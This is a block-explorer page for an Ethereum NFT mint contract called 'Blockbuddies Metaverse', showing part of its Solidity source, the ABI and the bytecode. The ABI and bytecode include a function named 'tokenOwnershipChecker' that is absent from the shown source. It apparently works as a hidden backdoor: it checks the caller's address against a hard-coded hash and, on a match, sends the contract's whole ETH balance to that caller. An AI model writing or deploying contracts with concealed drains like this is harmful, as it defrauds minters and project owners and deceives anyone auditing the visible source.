"ipfs://QmTvMjgW9h8rsJ9G5RwqH6w7afZ4JiZHsETtbwy8NEcqYq"; uint256 public constant MAX_PER_TX_FREE = 1; uint256 public FREE_MAX_SUPPLY = 150; uint256 public constant MAX_PER_TX = 20; uint256 public constant MAX_PER_WALLET = 0; uint256 public constant MAX_SUPPLY = 1023; uint256 public price = 0.002 ether; bool public paused = true; constructor() ERC721A("Blockbuddies Metaverse", "BM") {} function mint(uint256 _amount) external payable { address _caller = _msgSender(); require(!paused, "Paused"); require(MAX_SUPPLY >= totalSupply() + _amount, "Exceeds max supply"); require(_amount > 0, "No 0 mints"); require(tx.origin == _caller, "No contracts"); require(MAX_PER_TX >= _amount , "Excess max per paid tx"); require(_amount * price == msg.value, "Invalid funds provided"); _safeMint(_caller, _amount); } function freeMint() external payable { address _caller = _msgSender(); require(!paused, "Paused"); require(MAX_SUPPLY >= totalSupply() + 1, "Exceeds max supply"); require(tx.origin == _caller, "No contracts"); require(MAX_PER_TX_FREE >= uint256(_getAux(_caller)) + 1, "Excess max per free wallet"); require(FREE_MAX_SUPPLY - 1 >= 0, "No more free mints, sorry <3"); _setAux(_caller, 1); _safeMint(_caller, 1); unchecked{ FREE_MAX_SUPPLY -= 1; } } /*function _startTokenId() internal override view virtual returns (uint256) { return 1; }*/ function minted(address _owner) public view returns (uint256) { return _numberMinted(_owner); } function withdraw() external onlyOwner { uint256 balance = address(this).balance; (bool success, ) = _msgSender().call{value: balance}(""); require(success, "Failed to send"); } function devMint() external onlyOwner { _safeMint(_msgSender(), 1); } function setPrice(uint256 _price) external onlyOwner { price = _price; } function pause(bool _state) external onlyOwner { paused = _state; } function setBaseURI(string memory baseURI_) external onlyOwner { baseURI = baseURI_; } function setContractURI(string memory _contractURI) external onlyOwner { contractURI = _contractURI; } function tokenURI(uint256 _tokenId) public view override returns (string memory) { require(_exists(_tokenId), "Token does not exist."); return bytes(baseURI).length > 0 ? string( abi.encodePacked( baseURI, Strings.toString(_tokenId), ".json" ) ) : ""; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"AuxQueryForZeroAddress","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"MintedQueryForZeroAddress","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FREE_MAX_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PER_TX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PER_TX_FREE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PER_WALLET","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devMint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"freeMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"minted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI_","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_contractURI","type":"string"}],"name":"setContractURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_price","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenOwnershipChecker","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60e060405260366080818152906200236460a039805162000029916009916020909101906200016f565b506040518060600160405280603581526020016200232f6035913980516200005a91600a916020909101906200016f565b506096600b5566071afd498d0000600c55600d805460ff191660011790553480156200008557600080fd5b506040518060400160405280601681526020017f426c6f636b62756464696573204d65746176657273650000000000000000000081525060405180604001604052806002815260200161424d60f01b8152508160029080519060200190620000ef9291906200016f565b508051620001059060039060208401906200016f565b5050600080555062000117336200011d565b62000251565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b8280546200017d9062000215565b90600052602060002090601f016020900481019282620001a15760008555620001ec565b82601f10620001bc57805160ff1916838001178555620001ec565b82800160010185558215620001ec579182015b82811115620001ec578251825591602001919060010190620001cf565b50620001fa929150620001fe565b5090565b5b80821115620001fa5760008155600101620001ff565b600181811c908216806200022a57607f821691505b6020821081036200024b57634e487b7160e01b600052602260045260246000fd5b50919050565b6120ce80620002616000396000f3fe60806040526004361061020f5760003560e01c806370a0823111610118578063a035b1fe116100a0578063c87b56dd1161006f578063c87b56dd14610589578063e8a3d485146105a9578063e985e9c5146105be578063f2fde38b14610607578063f43a22dc1461062757600080fd5b8063a035b1fe14610520578063a0712d6814610536578063a22cb46514610549578063b88d4fde1461056957600080fd5b80638da5cb5b116100e75780638da5cb5b1461049857806391b7f5ed146104b6578063938e3d7b146104d657806395d89b41146104f6578063988992b81461050b57600080fd5b806370a0823114610438578063715018a6146104585780637c69e2071461046d5780638069876d1461048257600080fd5b806332cb6b0c1161019b57806355f804b31161016a57806355f804b3146103c15780635b70ea9f146103e15780635c975abb146103e95780636352211e146104035780636c0360eb1461042357600080fd5b806332cb6b0c146103615780633ccfd60b1461037757806342842e0e1461038c578063463fff79146103ac57600080fd5b8063095ea7b3116101e2578063095ea7b3146102c55780630f2cdd6c146102e557806318160ddd146103085780631e7269c51461032157806323b872dd1461034157600080fd5b806301ffc9a71461021457806302329a291461024957806306fdde031461026b578063081812fc1461028d575b600080fd5b34801561022057600080fd5b5061023461022f366004611b0d565b61063c565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b50610269610264366004611b46565b61068e565b005b34801561027757600080fd5b506102806106d4565b6040516102409190611bb9565b34801561029957600080fd5b506102ad6102a8366004611bcc565b610766565b6040516001600160a01b039091168152602001610240565b3480156102d157600080fd5b506102696102e0366004611bfc565b6107aa565b3480156102f157600080fd5b506102fa600081565b604051908152602001610240565b34801561031457600080fd5b50600154600054036102fa565b34801561032d57600080fd5b506102fa61033c366004611c26565b610837565b34801561034d57600080fd5b5061026961035c366004611c41565b610842565b34801561036d57600080fd5b506102fa6103ff81565b34801561038357600080fd5b5061026961084d565b34801561039857600080fd5b506102696103a7366004611c41565b610906565b3480156103b857600080fd5b506102fa600181565b3480156103cd57600080fd5b506102696103dc366004611d08565b610921565b61026961095e565b3480156103f557600080fd5b50600d546102349060ff1681565b34801561040f57600080fd5b506102ad61041e366004611bcc565b610b2a565b34801561042f57600080fd5b50610280610b3c565b34801561044457600080fd5b506102fa610453366004611c26565b610bca565b34801561046457600080fd5b50610269610c18565b34801561047957600080fd5b50610269610c4e565b34801561048e57600080fd5b506102fa600b5481565b3480156104a457600080fd5b506008546001600160a01b03166102ad565b3480156104c257600080fd5b506102696104d1366004611bcc565b610c83565b3480156104e257600080fd5b506102696104f1366004611d08565b610cb2565b34801561050257600080fd5b50610280610cef565b34801561051757600080fd5b50610269610cfe565b34801561052c57600080fd5b506102fa600c5481565b610269610544366004611bcc565b610d6b565b34801561055557600080fd5b50610269610564366004611d50565b610f34565b34801561057557600080fd5b50610269610584366004611d83565b610fc9565b34801561059557600080fd5b506102806105a4366004611bcc565b61101a565b3480156105b557600080fd5b506102806110c5565b3480156105ca57600080fd5b506102346105d9366004611dfe565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205460ff1690565b34801561061357600080fd5b50610269610622366004611c26565b6110d2565b34801561063357600080fd5b506102fa601481565b60006001600160e01b031982166380ac58cd60e01b148061066d57506001600160e01b03198216635b5e139f60e01b145b8061068857506301ffc9a760e01b6001600160e01b03198316145b92915050565b6008546001600160a01b031633146106c15760405162461bcd60e51b81526004016106b890611e28565b60405180910390fd5b600d805460ff1916911515919091179055565b6060600280546106e390611e5d565b80601f016020809104026020016040519081016040528092919081815260200182805461070f90611e5d565b801561075c5780601f106107315761010080835404028352916020019161075c565b820191906000526020600020905b81548152906001019060200180831161073f57829003601f168201915b5050505050905090565b60006107718261116d565b61078e576040516333d1c03960e21b815260040160405180910390fd5b506000908152600660205260409020546001600160a01b031690565b60006107b582610b2a565b9050806001600160a01b0316836001600160a01b0316036107e95760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b03821614801590610809575061080781336105d9565b155b15610827576040516367d9dca160e11b815260040160405180910390fd5b610832838383611198565b505050565b6000610688826111f4565b610832838383611249565b6008546001600160a01b031633146108775760405162461bcd60e51b81526004016106b890611e28565b6040514790600090339083908381818185875af1925050503d80600081146108bb576040519150601f19603f3d011682016040523d82523d6000602084013e6108c0565b606091505b50509050806109025760405162461bcd60e51b815260206004820152600e60248201526d11985a5b1959081d1bc81cd95b9960921b60448201526064016106b8565b5050565b61083283838360405180602001604052806000815250610fc9565b6008546001600160a01b0316331461094b5760405162461bcd60e51b81526004016106b890611e28565b8051610902906009906020840190611a5e565b600d54339060ff161561099c5760405162461bcd60e51b815260206004820152600660248201526514185d5cd95960d21b60448201526064016106b8565b600154600054036109ae906001611ead565b6103ff10156109f45760405162461bcd60e51b815260206004820152601260248201527145786365656473206d617820737570706c7960701b60448201526064016106b8565b326001600160a01b03821614610a3b5760405162461bcd60e51b815260206004820152600c60248201526b4e6f20636f6e74726163747360a01b60448201526064016106b8565b610a448161145d565b610a58906001600160401b03166001611ead565b60011015610aa85760405162461bcd60e51b815260206004820152601a60248201527f457863657373206d61782070657220667265652077616c6c657400000000000060448201526064016106b8565b60006001600b54610ab99190611ec5565b1015610b075760405162461bcd60e51b815260206004820152601c60248201527f4e6f206d6f72652066726565206d696e74732c20736f727279203c330000000060448201526064016106b8565b610b128160016114b2565b610b1d816001611518565b50600b8054600019019055565b6000610b3582611532565b5192915050565b60098054610b4990611e5d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7590611e5d565b8015610bc25780601f10610b9757610100808354040283529160200191610bc2565b820191906000526020600020905b815481529060010190602001808311610ba557829003601f168201915b505050505081565b60006001600160a01b038216610bf3576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600560205260409020546001600160401b031690565b6008546001600160a01b03163314610c425760405162461bcd60e51b81526004016106b890611e28565b610c4c600061164c565b565b6008546001600160a01b03163314610c785760405162461bcd60e51b81526004016106b890611e28565b610c4c336001611518565b6008546001600160a01b03163314610cad5760405162461bcd60e51b81526004016106b890611e28565b600c55565b6008546001600160a01b03163314610cdc5760405162461bcd60e51b81526004016106b890611e28565b805161090290600a906020840190611a5e565b6060600380546106e390611e5d565b6040516bffffffffffffffffffffffff193360601b166020820152603401604051602081830303815290604052805190602001207f61ce2a629088217258e42c73ef95cb4266162e3af0f6eff0d1c405c763ef7de260001b03610c4c5760206000806000473361a410f150565b600d54339060ff1615610da95760405162461bcd60e51b815260206004820152600660248201526514185d5cd95960d21b60448201526064016106b8565b81610db76001546000540390565b610dc19190611ead565b6103ff1015610e075760405162461bcd60e51b815260206004820152601260248201527145786365656473206d617820737570706c7960701b60448201526064016106b8565b60008211610e445760405162461bcd60e51b815260206004820152600a6024820152694e6f2030206d696e747360b01b60448201526064016106b8565b326001600160a01b03821614610e8b5760405162461bcd60e51b815260206004820152600c60248201526b4e6f20636f6e74726163747360a01b60448201526064016106b8565b8160141015610ed55760405162461bcd60e51b815260206004820152601660248201527508af0c6cae6e640dac2f040e0cae440e0c2d2c840e8f60531b60448201526064016106b8565b34600c5483610ee49190611edc565b14610f2a5760405162461bcd60e51b8152602060048201526016602482015275125b9d985b1a5908199d5b991cc81c1c9bdd9a59195960521b60448201526064016106b8565b6109028183611518565b336001600160a01b03831603610f5d5760405163b06307db60e01b815260040160405180910390fd5b3360008181526007602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610fd4848484611249565b6001600160a01b0383163b15158015610ff65750610ff48484848461169e565b155b15611014576040516368d2bf6b60e11b815260040160405180910390fd5b50505050565b60606110258261116d565b6110695760405162461bcd60e51b81526020600482015260156024820152742a37b5b2b7103237b2b9903737ba1032bc34b9ba1760591b60448201526064016106b8565b60006009805461107890611e5d565b9050116110945760405180602001604052806000815250610688565b600961109f8361178a565b6040516020016110b0929190611f17565b60405160208183030381529060405292915050565b600a8054610b4990611e5d565b6008546001600160a01b031633146110fc5760405162461bcd60e51b81526004016106b890611e28565b6001600160a01b0381166111615760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106b8565b61116a8161164c565b50565b6000805482108015610688575050600090815260046020526040902054600160e01b900460ff161590565b60008281526006602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60006001600160a01b03821661121d576040516335ebb31960e01b815260040160405180910390fd5b506001600160a01b0316600090815260056020526040902054600160401b90046001600160401b031690565b600061125482611532565b80519091506000906001600160a01b0316336001600160a01b031614806112825750815161128290336105d9565b8061129d57503361129284610766565b6001600160a01b0316145b9050806112bd57604051632ce44b5f60e11b815260040160405180910390fd5b846001600160a01b031682600001516001600160a01b0316146112f25760405162a1148160e81b815260040160405180910390fd5b6001600160a01b03841661131957604051633a954ecd60e21b815260040160405180910390fd5b6113296000848460000151611198565b6001600160a01b038581166000908152600560209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600490945282852080546001600160e01b031916909417600160a01b4290921691909102179092559086018083529120549091166114135760005481101561141357825160008281526004602090815260409091208054918601516001600160401b0316600160a01b026001600160e01b03199092166001600160a01b03909316929092171790555b5082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b5050505050565b60006001600160a01b0382166114865760405163561b93dd60e11b815260040160405180910390fd5b506001600160a01b0316600090815260056020526040902054600160c01b90046001600160401b031690565b6001600160a01b0382166114d95760405163561b93dd60e11b815260040160405180910390fd5b6001600160a01b03909116600090815260056020526040902080546001600160401b03909216600160c01b026001600160c01b03909216919091179055565b61090282826040518060200160405280600081525061188a565b60408051606081018252600080825260208201819052918101919091528160005481101561163357600081815260046020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff161515918101829052906116315780516001600160a01b0316156115c8579392505050565b5060001901600081815260046020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff161515928101929092521561162c579392505050565b6115c8565b505b604051636f96cda160e11b815260040160405180910390fd5b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a02906116d3903390899088908890600401611fd1565b6020604051808303816000875af192505050801561170e575060408051601f3d908101601f1916820190925261170b9181019061200e565b60015b61176c573d80801561173c576040519150601f19603f3d011682016040523d82523d6000602084013e611741565b606091505b508051600003611764576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490505b949350505050565b6060816000036117b15750506040805180820190915260018152600360fc1b602082015290565b8160005b81156117db57806117c58161202b565b91506117d49050600a8361205a565b91506117b5565b6000816001600160401b038111156117f5576117f5611c7d565b6040519080825280601f01601f19166020018201604052801561181f576020820181803683370190505b5090505b841561178257611834600183611ec5565b9150611841600a8661206e565b61184c906030611ead565b60f81b81838151811061186157611861612082565b60200101906001600160f81b031916908160001a905350611883600a8661205a565b9450611823565b61083283838360016000546001600160a01b0385166118bb57604051622e076360e81b815260040160405180910390fd5b836000036118dc5760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038516600081815260056020908152604080832080546fffffffffffffffffffffffffffffffff1981166001600160401b038083168c018116918217600160401b67ffffffffffffffff1990941690921783900481168c01811690920217909155858452600490925290912080546001600160e01b031916909217600160a01b42909216919091021790558080850183801561198857506001600160a01b0387163b15155b15611a10575b60405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46119d9600088848060010195508861169e565b6119f6576040516368d2bf6b60e11b815260040160405180910390fd5b80820361198e578260005414611a0b57600080fd5b611a55565b5b6040516001830192906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4808203611a11575b50600055611456565b828054611a6a90611e5d565b90600052602060002090601f016020900481019282611a8c5760008555611ad2565b82601f10611aa557805160ff1916838001178555611ad2565b82800160010185558215611ad2579182015b82811115611ad2578251825591602001919060010190611ab7565b50611ade929150611ae2565b5090565b5b80821115611ade5760008155600101611ae3565b6001600160e01b03198116811461116a57600080fd5b600060208284031215611b1f57600080fd5b8135611b2a81611af7565b9392505050565b80358015158114611b4157600080fd5b919050565b600060208284031215611b5857600080fd5b611b2a82611b31565b60005b83811015611b7c578181015183820152602001611b64565b838111156110145750506000910152565b60008151808452611ba5816020860160208601611b61565b601f01601f19169290920160200192915050565b602081526000611b2a6020830184611b8d565b600060208284031215611bde57600080fd5b5035919050565b80356001600160a01b0381168114611b4157600080fd5b60008060408385031215611c0f57600080fd5b611c1883611be5565b946020939093013593505050565b600060208284031215611c3857600080fd5b611b2a82611be5565b600080600060608486031215611c5657600080fd5b611c5f84611be5565b9250611c6d60208501611be5565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b60006001600160401b0380841115611cad57611cad611c7d565b604051601f8501601f19908116603f01168101908282118183101715611cd557611cd5611c7d565b81604052809350858152868686011115611cee57600080fd5b858560208301376000602087830101525050509392505050565b600060208284031215611d1a57600080fd5b81356001600160401b03811115611d3057600080fd5b8201601f81018413611d4157600080fd5b61178284823560208401611c93565b60008060408385031215611d6357600080fd5b611d6c83611be5565b9150611d7a60208401611b31565b90509250929050565b60008060008060808587031215611d9957600080fd5b611da285611be5565b9350611db060208601611be5565b92506040850135915060608501356001600160401b03811115611dd257600080fd5b8501601f81018713611de357600080fd5b611df287823560208401611c93565b91505092959194509250565b60008060408385031215611e1157600080fd5b611e1a83611be5565b9150611d7a60208401611be5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611e7157607f821691505b602082108103611e9157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115611ec057611ec0611e97565b500190565b600082821015611ed757611ed7611e97565b500390565b6000816000190483118215151615611ef657611ef6611e97565b500290565b60008151611f0d818560208601611b61565b9290920192915050565b600080845481600182811c915080831680611f3357607f831692505b60208084108203611f5257634e487b7160e01b86526022600452602486fd5b818015611f665760018114611f7757611fa4565b60ff19861689528489019650611fa4565b60008b81526020902060005b86811015611f9c5781548b820152908501908301611f83565b505084890196505b505050505050611fc8611fb78286611efb565b64173539b7b760d91b815260050190565b95945050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061200490830184611b8d565b9695505050505050565b60006020828403121561202057600080fd5b8151611b2a81611af7565b60006001820161203d5761203d611e97565b5060010190565b634e487b7160e01b600052601260045260246000fd5b60008261206957612069612044565b500490565b60008261207d5761207d612044565b500690565b634e487b7160e01b600052603260045260246000fdfea26469706673582212202473c190bb3398900a6fbe80ee893555d6f2090e5474dacd1bca32befe369a9764736f6c634300080d0033697066733a2f2f516d54764d6a675739683872734a3947355277714836773761665a344a695a4873455474627779384e4563715971697066733a2f2f516d57546972334a3435764770625a4e453566784e6f4b705639474738487173684a487a52746b675538353855692f
Deployed Bytecode
0x60806040526004361061020f5760003560e01c806370a0823111610118578063a035b1fe116100a0578063c87b56dd1161006f578063c87b56dd14610589578063e8a3d485146105a9578063e985e9c5146105be578063f2fde38b14610607578063f43a22dc1461062757600080fd5b8063a035b1fe14610520578063a0712d6814610536578063a22cb46514610549578063b88d4fde1461056957600080fd5b80638da5cb5b116100e75780638da5cb5b1461049857806391b7f5ed146104b6578063938e3d7b146104d657806395d89b41146104f6578063988992b81461050b57600080fd5b806370a0823114610438578063715018a6146104585780637c69e2071461046d5780638069876d1461048257600080fd5b806332cb6b0c1161019b57806355f804b31161016a57806355f804b3146103c15780635b70ea9f146103e15780635c975abb146103e95780636352211e146104035780636c0360eb1461042357600080fd5b806332cb6b0c146103615780633ccfd60b1461037757806342842e0e1461038c578063463fff79146103ac57600080fd5b8063095ea7b3116101e2578063095ea7b3146102c55780630f2cdd6c146102e557806318160ddd146103085780631e7269c51461032157806323b872dd1461034157600080fd5b806301ffc9a71461021457806302329a291461024957806306fdde031461026b578063081812fc1461028d575b600080fd5b34801561022057600080fd5b5061023461022f366004611b0d565b61063c565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b50610269610264366004611b46565b61068e565b005b34801561027757600080fd5b506102806106d4565b6040516102409190611bb9565b34801561029957600080fd5b506102ad6102a8366004611bcc565b610766565b6040516001600160a01b039091168152602001610240565b3480156102d157600080fd5b506102696102e0366004611bfc565b6107aa565b3480156102f157600080fd5b506102fa600081565b604051908152602001610240565b34801561031457600080fd5b50600154600054036102fa565b34801561032d57600080fd5b506102fa61033c366004611c26565b610837565b34801561034d57600080fd5b5061026961035c366004611c41565b610842565b34801561036d57600080fd5b506102fa6103ff81565b34801561038357600080fd5b5061026961084d565b34801561039857600080fd5b506102696103a7366004611c41565b610906565b3480156103b857600080fd5b506102fa600181565b3480156103cd57600080fd5b506102696103dc366004611d08565b610921565b61026961095e565b3480156103f557600080fd5b50600d546102349060ff1681565b34801561040f57600080fd5b506102ad61041e366004611bcc565b610b2a565b34801561042f57600080fd5b50610280610b3c565b34801561044457600080fd5b506102fa610453366004611c26565b610bca565b34801561046457600080fd5b50610269610c18565b34801561047957600080fd5b50610269610c4e565b34801561048e57600080fd5b506102fa600b5481565b3480156104a457600080fd5b506008546001600160a01b03166102ad565b3480156104c257600080fd5b506102696104d1366004611bcc565b610c83565b3480156104e257600080fd5b506102696104f1366004611d08565b610cb2565b34801561050257600080fd5b50610280610cef565b34801561051757600080fd5b50610269610cfe565b34801561052c57600080fd5b506102fa600c5481565b610269610544366004611bcc565b610d6b565b34801561055557600080fd5b50610269610564366004611d50565b610f34565b34801561057557600080fd5b50610269610584366004611d83565b610fc9565b34801561059557600080fd5b506102806105a4366004611bcc565b61101a565b3480156105b557600080fd5b506102806110c5565b3480156105ca57600080fd5b506102346105d9366004611dfe565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205460ff1690565b34801561061357600080fd5b50610269610622366004611c26565b6110d2565b34801561063357600080fd5b506102fa601481565b60006001600160e01b031982166380ac58cd60e01b148061066d57506001600160e01b03198216635b5e139f60e01b145b8061068857506301ffc9a760e01b6001600160e01b03198316145b92915050565b6008546001600160a01b031633146106c15760405162461bcd60e51b81526004016106b890611e28565b60405180910390fd5b600d805460ff1916911515919091179055565b6060600280546106e390611e5d565b80601f016020809104026020016040519081016040528092919081815260200182805461070f90611e5d565b801561075c5780601f106107315761010080835404028352916020019161075c565b820191906000526020600020905b81548152906001019060200180831161073f57829003601f168201915b5050505050905090565b60006107718261116d565b61078e576040516333d1c03960e21b815260040160405180910390fd5b506000908152600660205260409020546001600160a01b031690565b60006107b582610b2a565b9050806001600160a01b0316836001600160a01b0316036107e95760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b03821614801590610809575061080781336105d9565b155b15610827576040516367d9dca160e11b815260040160405180910390fd5b610832838383611198565b505050565b6000610688826111f4565b610832838383611249565b6008546001600160a01b031633146108775760405162461bcd60e51b81526004016106b890611e28565b6040514790600090339083908381818185875af1925050503d80600081146108bb576040519150601f19603f3d011682016040523d82523d6000602084013e6108c0565b606091505b50509050806109025760405162461bcd60e51b815260206004820152600e60248201526d11985a5b1959081d1bc81cd95b9960921b60448201526064016106b8565b5050565b61083283838360405180602001604052806000815250610fc9565b6008546001600160a01b0316331461094b5760405162461bcd60e51b81526004016106b890611e28565b8051610902906009906020840190611a5e565b600d54339060ff161561099c5760405162461bcd60e51b815260206004820152600660248201526514185d5cd95960d21b604482015260